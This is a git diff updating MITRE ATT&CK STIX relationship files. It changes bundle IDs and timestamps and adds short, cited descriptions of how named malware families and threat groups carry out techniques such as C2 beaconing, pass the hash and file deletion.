             "relationship_type": "uses",
             "description": "OLDBAIT installs itself in <code>%ALLUSERPROFILE%\\\\Application Data\\Microsoft\\MediaPlayer\\updatewindws.exe</code>; the directory name is missing a space and the file name is missing the letter \"o.\"",
             "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
diff --git a/enterprise-attack/relationship/relationship--3a2d591a-f918-44b3-9e75-7520906b9aa3.json b/enterprise-attack/relationship/relationship--3a2d591a-f918-44b3-9e75-7520906b9aa3.json
index 6b6a98d6a1..c5ad71c691 100644
--- a/enterprise-attack/relationship/relationship--3a2d591a-f918-44b3-9e75-7520906b9aa3.json
+++ b/enterprise-attack/relationship/relationship--3a2d591a-f918-44b3-9e75-7520906b9aa3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1e1c28f0-b05c-4d4b-af78-7aa441666943",
+    "id": "bundle--d5fb8b8f-0756-4d89-8a7e-68dc65ced89e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3a2d591a-f918-44b3-9e75-7520906b9aa3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used a global service provider's IP as a proxy for C2 traffic from a victim.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--3a66ff23-3dcc-45b9-821a-8d6527b6e242.json b/enterprise-attack/relationship/relationship--3a66ff23-3dcc-45b9-821a-8d6527b6e242.json
index 8f314569b2..f8178046cb 100644
--- a/enterprise-attack/relationship/relationship--3a66ff23-3dcc-45b9-821a-8d6527b6e242.json
+++ b/enterprise-attack/relationship/relationship--3a66ff23-3dcc-45b9-821a-8d6527b6e242.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b798a672-36b7-4752-8c4f-6ea3a3a02774",
+    "id": "bundle--b1bafa17-a676-474c-91b3-c49af692c101",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3a66ff23-3dcc-45b9-821a-8d6527b6e242",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "If the victim is using PowerShell 3.0 or later, POWERSOURCE writes its decoded payload to an Alternate Data Stream (ADS) named kernel32.dll that is saved in <code>%PROGRAMDATA%\\Windows\\</code>.",
             "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
diff --git a/enterprise-attack/relationship/relationship--3a6c13d3-6589-4d33-9848-88e3409be0cc.json b/enterprise-attack/relationship/relationship--3a6c13d3-6589-4d33-9848-88e3409be0cc.json
new file mode 100644
index 0000000000..0860bcfe52
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--3a6c13d3-6589-4d33-9848-88e3409be0cc.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--a87b4c51-f6bd-4d18-934d-d8bf2ca5a39f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--3a6c13d3-6589-4d33-9848-88e3409be0cc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses a custom binary protocol to beacon back to its C2 server.",
+            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
+            "external_references": [
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--3a9abcd5-52ba-44f1-96a5-1593f816b9f0.json b/enterprise-attack/relationship/relationship--3a9abcd5-52ba-44f1-96a5-1593f816b9f0.json
index e7622b5106..0e3f314c7b 100644
--- a/enterprise-attack/relationship/relationship--3a9abcd5-52ba-44f1-96a5-1593f816b9f0.json
+++ b/enterprise-attack/relationship/relationship--3a9abcd5-52ba-44f1-96a5-1593f816b9f0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bd4f670d-6fcf-4450-a4d2-5fbda11b3594",
+    "id": "bundle--7101fdcd-2015-4fc7-ad30-64e7f07741eb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3a9abcd5-52ba-44f1-96a5-1593f816b9f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Various implementations of CHOPSTICK communicate with C2 over HTTP, SMTP, and POP3.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
diff --git a/enterprise-attack/relationship/relationship--3ac3a282-e1be-45f8-8974-0a94e5d43644.json b/enterprise-attack/relationship/relationship--3ac3a282-e1be-45f8-8974-0a94e5d43644.json
index 289a5a74a2..0bb18c4901 100644
--- a/enterprise-attack/relationship/relationship--3ac3a282-e1be-45f8-8974-0a94e5d43644.json
+++ b/enterprise-attack/relationship/relationship--3ac3a282-e1be-45f8-8974-0a94e5d43644.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2a9bd120-e94a-4991-a76c-837f1cb1d3c4",
+    "id": "bundle--fa11f654-a920-4e5b-a205-a79d82d12eb5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3ac3a282-e1be-45f8-8974-0a94e5d43644",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BISCUIT malware contains a secondary fallback command and control server that is contacted after the primary command and control server.",
             "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
diff --git a/enterprise-attack/relationship/relationship--3acdd018-80a0-4005-bab9-0cf89acfa43a.json b/enterprise-attack/relationship/relationship--3acdd018-80a0-4005-bab9-0cf89acfa43a.json
index f3606a1bc8..3cdf1bfab0 100644
--- a/enterprise-attack/relationship/relationship--3acdd018-80a0-4005-bab9-0cf89acfa43a.json
+++ b/enterprise-attack/relationship/relationship--3acdd018-80a0-4005-bab9-0cf89acfa43a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2ba71392-1a44-4e8d-8791-9415a0ecf91d",
+    "id": "bundle--07f96f5c-fea6-4703-afb9-d124ffce6073",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3acdd018-80a0-4005-bab9-0cf89acfa43a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PinchDuke transfers files from the compromised host via HTTP or HTTPS to a C2 server.",
             "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
diff --git a/enterprise-attack/relationship/relationship--3ada7220-b5a6-45b9-a7ca-4a26423da831.json b/enterprise-attack/relationship/relationship--3ada7220-b5a6-45b9-a7ca-4a26423da831.json
index ca8c5d634e..be7077fd94 100644
--- a/enterprise-attack/relationship/relationship--3ada7220-b5a6-45b9-a7ca-4a26423da831.json
+++ b/enterprise-attack/relationship/relationship--3ada7220-b5a6-45b9-a7ca-4a26423da831.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--17a7e626-e432-466a-b783-8be08b28c8dc",
+    "id": "bundle--80dd50f5-64b3-4cd3-b261-497109c008ab",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3ada7220-b5a6-45b9-a7ca-4a26423da831",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "hcdLoader provides command-line access to the compromised system.",
             "source_ref": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e",
diff --git a/enterprise-attack/relationship/relationship--3ae8d262-d2f8-4fa5-adb4-e379d43b9c37.json b/enterprise-attack/relationship/relationship--3ae8d262-d2f8-4fa5-adb4-e379d43b9c37.json
index 833da8bc6e..870e7df55a 100644
--- a/enterprise-attack/relationship/relationship--3ae8d262-d2f8-4fa5-adb4-e379d43b9c37.json
+++ b/enterprise-attack/relationship/relationship--3ae8d262-d2f8-4fa5-adb4-e379d43b9c37.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7d7b1441-8d45-4bf1-bcba-4e3dac00ca21",
+    "id": "bundle--31c96e1f-0ff8-4458-b50e-448ec6196da0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3ae8d262-d2f8-4fa5-adb4-e379d43b9c37",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
diff --git a/enterprise-attack/relationship/relationship--3afd226c-934f-44fd-8194-9a6dee5cba59.json b/enterprise-attack/relationship/relationship--3afd226c-934f-44fd-8194-9a6dee5cba59.json
index 5ff47103f7..5daa96d304 100644
--- a/enterprise-attack/relationship/relationship--3afd226c-934f-44fd-8194-9a6dee5cba59.json
+++ b/enterprise-attack/relationship/relationship--3afd226c-934f-44fd-8194-9a6dee5cba59.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--68112e10-4fcd-4875-86d0-486ea4a91b30",
+    "id": "bundle--c057a601-5e4d-4146-b424-80e5d011cdbf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3afd226c-934f-44fd-8194-9a6dee5cba59",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lazarus Group malware uses multiple types of encryption and encoding in its malware files, including AES, Caracachs, RC4, basic XOR with constant 0xA7, and other techniques.",
             "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
diff --git a/enterprise-attack/relationship/relationship--3b0a7f6a-173f-41e6-8dec-2d1b4a0851d9.json b/enterprise-attack/relationship/relationship--3b0a7f6a-173f-41e6-8dec-2d1b4a0851d9.json
index 67818b0146..55b665c6c3 100644
--- a/enterprise-attack/relationship/relationship--3b0a7f6a-173f-41e6-8dec-2d1b4a0851d9.json
+++ b/enterprise-attack/relationship/relationship--3b0a7f6a-173f-41e6-8dec-2d1b4a0851d9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d5b5a17c-a4f3-47e7-8b11-731ad87670fc",
+    "id": "bundle--0bc10165-611e-4276-9a63-582e7311bdfb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3b0a7f6a-173f-41e6-8dec-2d1b4a0851d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The discovery modules used with Duqu can collect information on process details.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--3b31b258-d3e0-4acc-9c20-de870baa64a0.json b/enterprise-attack/relationship/relationship--3b31b258-d3e0-4acc-9c20-de870baa64a0.json
index ab066fe588..497a53c4ab 100644
--- a/enterprise-attack/relationship/relationship--3b31b258-d3e0-4acc-9c20-de870baa64a0.json
+++ b/enterprise-attack/relationship/relationship--3b31b258-d3e0-4acc-9c20-de870baa64a0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5bd1524d-dc52-49bb-9592-66225067e38e",
+    "id": "bundle--7bcdb327-1b89-4cef-8a99-867f839889c1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "relationship--3b31b258-d3e0-4acc-9c20-de870baa64a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "The Komplex trojan supports file deletion ",
+            "description": "The Komplex trojan supports file deletion.",
             "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518",
             "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
             "external_references": [
diff --git a/enterprise-attack/relationship/relationship--3b32f3be-5bdd-4de8-9e39-83b0b8c1e70f.json b/enterprise-attack/relationship/relationship--3b32f3be-5bdd-4de8-9e39-83b0b8c1e70f.json
new file mode 100644
index 0000000000..71fb73fbc1
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--3b32f3be-5bdd-4de8-9e39-83b0b8c1e70f.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--50d3a4a5-1c93-4681-868f-85cac66fc523",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--3b32f3be-5bdd-4de8-9e39-83b0b8c1e70f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can delete malware and associated artifacts from the victim.",
+            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "external_references": [
+                {
+                    "source_name": "US-CERT FALLCHILL Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--3b3435a2-6a24-4527-be6f-03d09ef2b917.json b/enterprise-attack/relationship/relationship--3b3435a2-6a24-4527-be6f-03d09ef2b917.json
index 1be755deca..a46bf658e8 100644
--- a/enterprise-attack/relationship/relationship--3b3435a2-6a24-4527-be6f-03d09ef2b917.json
+++ b/enterprise-attack/relationship/relationship--3b3435a2-6a24-4527-be6f-03d09ef2b917.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9896c05c-3515-4408-b78d-f054dd28b883",
+    "id": "bundle--358fe80e-3d1d-404b-9d2d-d2ddb8eefdc1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3b3435a2-6a24-4527-be6f-03d09ef2b917",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.059Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
             "target_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
diff --git a/enterprise-attack/relationship/relationship--3b35fec9-ee0d-4c2d-9936-0aa06ad6a49a.json b/enterprise-attack/relationship/relationship--3b35fec9-ee0d-4c2d-9936-0aa06ad6a49a.json
index 19afb937d0..f3a69b0817 100644
--- a/enterprise-attack/relationship/relationship--3b35fec9-ee0d-4c2d-9936-0aa06ad6a49a.json
+++ b/enterprise-attack/relationship/relationship--3b35fec9-ee0d-4c2d-9936-0aa06ad6a49a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--29548269-2d6b-47e7-9195-089cbe736974",
+    "id": "bundle--8be51035-f76d-4181-8383-de22613a94e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3b35fec9-ee0d-4c2d-9936-0aa06ad6a49a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.035Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The APT1 group is known to have used pass the hash.",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
diff --git a/enterprise-attack/relationship/relationship--3b4f48d3-eb5d-4d7e-9f0b-86f68951207d.json b/enterprise-attack/relationship/relationship--3b4f48d3-eb5d-4d7e-9f0b-86f68951207d.json
new file mode 100644
index 0000000000..4ffa80163d
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--3b4f48d3-eb5d-4d7e-9f0b-86f68951207d.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--1e3fc47b-f64f-43e8-af4d-407a6b22072d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--3b4f48d3-eb5d-4d7e-9f0b-86f68951207d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "hooks processes by modifying IAT pointers to CreateWindowEx.",
+            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
+            "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5",
+            "external_references": [
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--3b521f87-a77d-4c8d-8ab8-ffc6dbc3d62e.json b/enterprise-attack/relationship/relationship--3b521f87-a77d-4c8d-8ab8-ffc6dbc3d62e.json
index 9df65569ed..f244856360 100644
--- a/enterprise-attack/relationship/relationship--3b521f87-a77d-4c8d-8ab8-ffc6dbc3d62e.json
+++ b/enterprise-attack/relationship/relationship--3b521f87-a77d-4c8d-8ab8-ffc6dbc3d62e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7d833fd0-e39f-4ce8-8745-2de76d21f90a",
+    "id": "bundle--6be09846-0bf2-49d5-977d-641caea4a01b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3b521f87-a77d-4c8d-8ab8-ffc6dbc3d62e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT18 actors leverage legitimate credentials to log into external remote services.",
             "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
diff --git a/enterprise-attack/relationship/relationship--3b5d1788-c59b-4e84-97b0-b109df608619.json b/enterprise-attack/relationship/relationship--3b5d1788-c59b-4e84-97b0-b109df608619.json
index fb133364be..aa5a14987f 100644
--- a/enterprise-attack/relationship/relationship--3b5d1788-c59b-4e84-97b0-b109df608619.json
+++ b/enterprise-attack/relationship/relationship--3b5d1788-c59b-4e84-97b0-b109df608619.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--864e5746-c7dc-492a-87f0-49382bb922f1",
+    "id": "bundle--91bc6035-fc5c-477e-819e-5edeb7a8d3f6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3b5d1788-c59b-4e84-97b0-b109df608619",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The <code>net view \\\\remotesystem</code> and <code>net share</code> commands in Net can be used to find shared drives and directories on remote and local systems respectively.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--3b6fc69c-9759-465a-b09c-a6161e4e2f56.json b/enterprise-attack/relationship/relationship--3b6fc69c-9759-465a-b09c-a6161e4e2f56.json
index 010a5b6b29..62b9f264b4 100644
--- a/enterprise-attack/relationship/relationship--3b6fc69c-9759-465a-b09c-a6161e4e2f56.json
+++ b/enterprise-attack/relationship/relationship--3b6fc69c-9759-465a-b09c-a6161e4e2f56.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bf4a0eb8-4a72-4fd7-8876-ca6be2e031e4",
+    "id": "bundle--2b7429bd-8987-4232-8c8d-463084fc0a0c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3b6fc69c-9759-465a-b09c-a6161e4e2f56",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.063Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
diff --git a/enterprise-attack/relationship/relationship--3b9e7ec8-8b10-4fe4-87b3-38b7710dbbb9.json b/enterprise-attack/relationship/relationship--3b9e7ec8-8b10-4fe4-87b3-38b7710dbbb9.json
index 732b5aec8f..7a5ae64e82 100644
--- a/enterprise-attack/relationship/relationship--3b9e7ec8-8b10-4fe4-87b3-38b7710dbbb9.json
+++ b/enterprise-attack/relationship/relationship--3b9e7ec8-8b10-4fe4-87b3-38b7710dbbb9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a4d80c34-b75e-4cd8-9ca5-5533f6914c43",
+    "id": "bundle--ea45b963-9907-473a-b70e-97a770045676",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--3b9e7ec8-8b10-4fe4-87b3-38b7710dbbb9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sakula uses HTTP for C2.",
             "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
diff --git a/enterprise-attack/relationship/relationship--3ba2b8bc-1c5b-4cb3-8234-a7dc7b7552d0.json b/enterprise-attack/relationship/relationship--3ba2b8bc-1c5b-4cb3-8234-a7dc7b7552d0.json
new file mode 100644
index 0000000000..3dea280ec4
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--3ba2b8bc-1c5b-4cb3-8234-a7dc7b7552d0.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--6d85b2f6-2d6e-43ba-a770-8dfab03e83a1",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--3ba2b8bc-1c5b-4cb3-8234-a7dc7b7552d0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Matroyshka is capable of providing Meterpreter shell access.",
+            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--3beb0c09-e584-4fd8-92bb-d7a1ae9192e6.json b/enterprise-attack/relationship/relationship--3beb0c09-e584-4fd8-92bb-d7a1ae9192e6.json
new file mode 100644
index 0000000000..363faa3cf0
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--3beb0c09-e584-4fd8-92bb-d7a1ae9192e6.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--3f2e157a-a4ae-4813-a87b-ad3472a42931",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--3beb0c09-e584-4fd8-92bb-d7a1ae9192e6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--3bf633d0-5578-4e3a-a599-52f3946f6623.json b/enterprise-attack/relationship/relationship--3bf633d0-5578-4e3a-a599-52f3946f6623.json
new file mode 100644
index 0000000000..a87a98c9e5
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--3bf633d0-5578-4e3a-a599-52f3946f6623.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--4f15238c-9040-48da-b633-359e714929fe",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--3bf633d0-5578-4e3a-a599-52f3946f6623",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "deletes the original dropped file from the victim.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--3c3f26b3-d676-4e17-adca-2a8ea4643148.json b/enterprise-attack/relationship/relationship--3c3f26b3-d676-4e17-adca-2a8ea4643148.json
index 1cf0718247..dd6e6c5575 100644
--- a/enterprise-attack/relationship/relationship--3c3f26b3-d676-4e17-adca-2a8ea4643148.json
+++ b/enterprise-attack/relationship/relationship--3c3f26b3-d676-4e17-adca-2a8ea4643148.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bf04ad79-4b8d-4fe2-bfd8-0e9d775775d0",
+    "id": "bundle--d0e7e251-a4d9-467a-a3fa-fd6c02ba1efb",
